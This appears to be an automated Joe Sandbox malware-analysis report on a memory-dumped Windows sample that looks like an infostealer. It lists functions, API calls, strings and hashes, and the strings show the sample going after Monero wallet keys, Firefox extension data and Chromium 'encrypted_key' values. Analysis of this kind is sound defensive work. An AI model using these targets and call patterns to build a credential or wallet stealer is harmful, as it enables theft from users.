Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 608f9402d1162cc60f4f6758f557f6054d44e5042bf93ed892f5d47e1993ec13
Instruction ID: 7ba4d30f353354874ed29eb377f933546fbbed73b4b4a9db98a8aaf77931cf69
Opcode Fuzzy Hash: 608f9402d1162cc60f4f6758f557f6054d44e5042bf93ed892f5d47e1993ec13
Instruction Fuzzy Hash: 4401C2B9A40308FBDB04DFD4DC59FAEB7B8EB48701F108155FA15D7280DA759A018B61

Function 00B8C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00B8C8EC
___crtLCMapStringA.LIBCMT ref: 00B8C90C
___crtLCMapStringA.LIBCMT ref: 00B8C931

Strings

, xrefs: 00B8C896

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: d144431400925eb4b634f037c76627274e668b07e7464ad15968341341dfc045
Instruction ID: d96c798e3de3a39b05e421aa789afc4a9b2b11611cf474aab31b7272f8fe16c6
Opcode Fuzzy Hash: d144431400925eb4b634f037c76627274e668b07e7464ad15968341341dfc045
Instruction Fuzzy Hash: 2A41F6B110075C5EDB269B24CD84FFB7FE8EB45704F1444E8E98A87192E2719A44CF30

Function 00B86630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00B86663

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Part of subcall function 00B8A9B0: lstrlen.KERNEL32(?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B8A9C5
Part of subcall function 00B8A9B0: lstrcpy.KERNEL32(00000000), ref: 00B8AA04
Part of subcall function 00B8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B8AA12

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

ShellExecuteEx.SHELL32(0000003C), ref: 00B86726
ExitProcess.KERNEL32 ref: 00B86755

Strings

<, xrefs: 00B866D9

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: f08b562f075367bab57920530d283f8e88e01cd41f7bf6b3fb5cc5c452075447
Instruction ID: 7f8eaccb2dabeba4478971bb687fb60adde30f595cfcdcae03fc6ba3cb6454ee
Opcode Fuzzy Hash: f08b562f075367bab57920530d283f8e88e01cd41f7bf6b3fb5cc5c452075447
Instruction Fuzzy Hash: 4731FDB1801218EBDB14FB54DC95BDD77B8AF44300F8051D9F209A61A1DF746B49CFA6

Function 00B887C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00B90E28,00000000,?), ref: 00B8882F
RtlAllocateHeap.NTDLL(00000000), ref: 00B88836
wsprintfA.USER32 ref: 00B88850

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Strings

%dx%d, xrefs: 00B88847

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 35a3c239f71e7d8ab0547ac38e2e1a2e126a3fd91db10e18da5f4edadc900c2f
Instruction ID: fe4913382369cb3ed62603f91c90cfa379f366ec181e61b24cb73df4e46e6daf
Opcode Fuzzy Hash: 35a3c239f71e7d8ab0547ac38e2e1a2e126a3fd91db10e18da5f4edadc900c2f
Instruction Fuzzy Hash: 362108B5A44208EBDB04DF98DD49FAEBBB8FB48701F104259F605E7790C779A9008BA1

Function 00B88D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00B8951E,00000000), ref: 00B88D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00B88D62
wsprintfW.USER32 ref: 00B88D78

Strings

%hs, xrefs: 00B88D6F

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: c6ffe19638193ae432476b03f4ec5a2717dac469c4da5e4ad8fcd25ae696ba8d
Instruction ID: d8820ff94c7ac2bb74fc454125d97be9909aeb5b78d39c7c3426855fcfb128a8
Opcode Fuzzy Hash: c6ffe19638193ae432476b03f4ec5a2717dac469c4da5e4ad8fcd25ae696ba8d
Instruction Fuzzy Hash: 54E046B4A40308FBCB00DB98DC0AA6977A8EB04702F000294F909C6780EA719A009BA2

Function 00B7A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Part of subcall function 00B8A9B0: lstrlen.KERNEL32(?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B8A9C5
Part of subcall function 00B8A9B0: lstrcpy.KERNEL32(00000000), ref: 00B8AA04
Part of subcall function 00B8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B8AA12

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

Part of subcall function 00B88B60: GetSystemTime.KERNEL32(00B90E1A,00939FD8,00B905AE,?,?,00B713F9,?,0000001A,00B90E1A,00000000,?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B88B86

Part of subcall function 00B8A920: lstrcpy.KERNEL32(00000000,?), ref: 00B8A972
Part of subcall function 00B8A920: lstrcat.KERNEL32(00000000), ref: 00B8A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B7A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00B7A3FF
lstrlen.KERNEL32(00000000), ref: 00B7A6BC

Part of subcall function 00B8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B8A7E6

DeleteFileA.KERNEL32(00000000), ref: 00B7A743

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 27a89acac158722c53751f531dc5c662d8f885a882560a9230dc2fbfc3e00ba8
Instruction ID: ef8459308cd9fab136665c5a9d52a7721d705fecf2f60d26fe123edb482e99e9
Opcode Fuzzy Hash: 27a89acac158722c53751f531dc5c662d8f885a882560a9230dc2fbfc3e00ba8
Instruction Fuzzy Hash: FCE1C6728101189BEB05FBA4DC91DEE737CAF54300F50859AF516B61B1EF346A49CB72

Function 00B7D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Part of subcall function 00B8A9B0: lstrlen.KERNEL32(?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B8A9C5
Part of subcall function 00B8A9B0: lstrcpy.KERNEL32(00000000), ref: 00B8AA04
Part of subcall function 00B8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B8AA12

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

Part of subcall function 00B88B60: GetSystemTime.KERNEL32(00B90E1A,00939FD8,00B905AE,?,?,00B713F9,?,0000001A,00B90E1A,00000000,?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B88B86

Part of subcall function 00B8A920: lstrcpy.KERNEL32(00000000,?), ref: 00B8A972
Part of subcall function 00B8A920: lstrcat.KERNEL32(00000000), ref: 00B8A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B7D481
lstrlen.KERNEL32(00000000), ref: 00B7D698
lstrlen.KERNEL32(00000000), ref: 00B7D6AC
DeleteFileA.KERNEL32(00000000), ref: 00B7D72B

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: f5f37bf8b1ab715b8e9968b615aee46ee691b7a2a0f2ee5edf29a7e79e7aae6a
Instruction ID: aed76d29ca97bf8de5583442d5a84dc328661cf0521c930b4ab51396a377a5fe
Opcode Fuzzy Hash: f5f37bf8b1ab715b8e9968b615aee46ee691b7a2a0f2ee5edf29a7e79e7aae6a
Instruction Fuzzy Hash: FD91D4719101049BEB04FBA4DD96DEE73B8AF14300F5045AAF517B61B1EF386A09CB72

Function 00B7D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Part of subcall function 00B8A9B0: lstrlen.KERNEL32(?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B8A9C5
Part of subcall function 00B8A9B0: lstrcpy.KERNEL32(00000000), ref: 00B8AA04
Part of subcall function 00B8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B8AA12

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

Part of subcall function 00B88B60: GetSystemTime.KERNEL32(00B90E1A,00939FD8,00B905AE,?,?,00B713F9,?,0000001A,00B90E1A,00000000,?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B88B86

Part of subcall function 00B8A920: lstrcpy.KERNEL32(00000000,?), ref: 00B8A972
Part of subcall function 00B8A920: lstrcat.KERNEL32(00000000), ref: 00B8A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B7D801
lstrlen.KERNEL32(00000000), ref: 00B7D99F
lstrlen.KERNEL32(00000000), ref: 00B7D9B3
DeleteFileA.KERNEL32(00000000), ref: 00B7DA32

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 8dc9a0248460f140a3bbd6256ad8eafd531ef10bc44c9b3d9eb392f47d26d3a6
Instruction ID: 7818204d0fda49726ac72d369a8dc37a7694415e596145baeaa9514e615060c6
Opcode Fuzzy Hash: 8dc9a0248460f140a3bbd6256ad8eafd531ef10bc44c9b3d9eb392f47d26d3a6
Instruction Fuzzy Hash: FA81E2729101149BEB04FBA4DC96DEE73B8AF54300F5045AAF517B61B1EF386A09CB72

Function 00B7F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B8A7E6

Part of subcall function 00B799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B799EC
Part of subcall function 00B799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B79A11
Part of subcall function 00B799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00B79A31
Part of subcall function 00B799C0: ReadFile.KERNEL32(000000FF,?,00000000,00B7148F,00000000), ref: 00B79A5A
Part of subcall function 00B799C0: LocalFree.KERNEL32(00B7148F), ref: 00B79A90
Part of subcall function 00B799C0: CloseHandle.KERNEL32(000000FF), ref: 00B79A9A

Part of subcall function 00B88E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B88E52

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Part of subcall function 00B8A9B0: lstrlen.KERNEL32(?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B8A9C5
Part of subcall function 00B8A9B0: lstrcpy.KERNEL32(00000000), ref: 00B8AA04
Part of subcall function 00B8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B8AA12

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

Part of subcall function 00B8A920: lstrcpy.KERNEL32(00000000,?), ref: 00B8A972
Part of subcall function 00B8A920: lstrcat.KERNEL32(00000000), ref: 00B8A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00B91580,00B90D92), ref: 00B7F54C
lstrlen.KERNEL32(00000000), ref: 00B7F56B

Strings

^userContextId=4294967295, xrefs: 00B7F59C
moz-extension+++, xrefs: 00B7F5AD

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 6ec58bf5c58720e8623d908cf223eea324bcfa9c206a5250398b175f0d863024
Instruction ID: 202129dcc782fac1c67c75a0d4ca706117c2c30fdf670a34c6f8f16a670037be
Opcode Fuzzy Hash: 6ec58bf5c58720e8623d908cf223eea324bcfa9c206a5250398b175f0d863024
Instruction Fuzzy Hash: 97510575D101099BEB04FBB4DC96DED73B8AF54300F4085A9F816671A1EF386A09CBB2

Function 00B83560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 2e3b8e23f779b4bd890fd0744fe2ba9a859700378e8f49be18b0f9ab2d40bbb8
Instruction ID: 687550dcca487416acecabf3cb19c8c9fc079e27a61f082645ccd477834744fe
Opcode Fuzzy Hash: 2e3b8e23f779b4bd890fd0744fe2ba9a859700378e8f49be18b0f9ab2d40bbb8
Instruction Fuzzy Hash: 8F414F75D14109EFDF04FFA4D895AEEB7F4AF44B04F008059E41676260EB74AA05CFA2

Function 00B79CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Part of subcall function 00B799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B799EC
Part of subcall function 00B799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B79A11
Part of subcall function 00B799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00B79A31
Part of subcall function 00B799C0: ReadFile.KERNEL32(000000FF,?,00000000,00B7148F,00000000), ref: 00B79A5A
Part of subcall function 00B799C0: LocalFree.KERNEL32(00B7148F), ref: 00B79A90
Part of subcall function 00B799C0: CloseHandle.KERNEL32(000000FF), ref: 00B79A9A

Part of subcall function 00B88E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B88E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00B79D39

Part of subcall function 00B79AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B74EEE,00000000,00000000), ref: 00B79AEF
Part of subcall function 00B79AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00B74EEE,00000000,?), ref: 00B79B01
